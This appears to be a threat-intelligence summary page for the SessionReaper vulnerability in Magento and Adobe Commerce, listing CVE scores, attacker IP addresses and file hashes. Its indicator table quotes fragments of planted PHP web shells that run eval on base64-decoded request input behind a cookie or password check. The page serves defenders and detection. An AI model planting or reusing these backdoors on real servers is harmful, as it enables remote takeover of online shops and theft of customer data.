SessionReaper, unauthenticated RCE in Magento & Adobe Commerce (CVE-2025
Vulnerabilities mentioned
All| CVE | Vulnerability | CVSS | EPSS | Signals | Published |
|---|---|---|---|---|---|
| CVE-2025-54236 | Unauthenticated Session Takeover in Adobe Commerce and Magento (SessionReaper) | 9.1 | 95% | KEVPoC ×2 | KEV |
Indicators of compromise
auto-extracted · verify before use · export allAll| Type | Indicator | Context |
|---|---|---|
| ipv4 | 23.146.184.93 | k probes from dozens of IPs, but these are the most common: 23.146.184.93 23.249.27.221 34.227.25.4 44.212.43.34 45.32.66.51 45.143.2 |
| ipv4 | 23.249.27.221 | dozens of IPs, but these are the most common: 23.146.184.93 23.249.27.221 34.227.25.4 44.212.43.34 45.32.66.51 45.143.20.147 46.39.23 |
| md5 | 17028f487cb2a84607646da3ad3878ec | r: <?php echo 409723 * 20 ; if ( md5 ( $_COOKIE [ 'd' ])== '17028f487cb2a84607646da3ad3878ec' ){ echo 'ok' ; eval ( base64_decode ( $_REQUEST [ 'id' ])) |
| md5 | 4009d3fa8132195a2dab4dfa3affc8d2 | fa1faewf.txt and several others. <?php if (! hash_equals ( '4009d3fa8132195a2dab4dfa3affc8d2' , md5 ( md5 ( $_REQUEST [ 'pass' ] ?? '' )))) { header ( ' |
From the original article
9 min read at sansec.io
In August 2025, a critical (CVSS 9. 1) flaw was discovered in all versions of Adobe Commerce and Magento. The bug, named "SessionReaper" by Sansec, allows customer account takeover and unauthenticated remote code execution under certain conditions.
By Sansec Forensics Team · sansec.io
A short excerpt; the article and its images belong to the publisher. Summary, key facts and assessment above are AI-written from the article and can be wrong.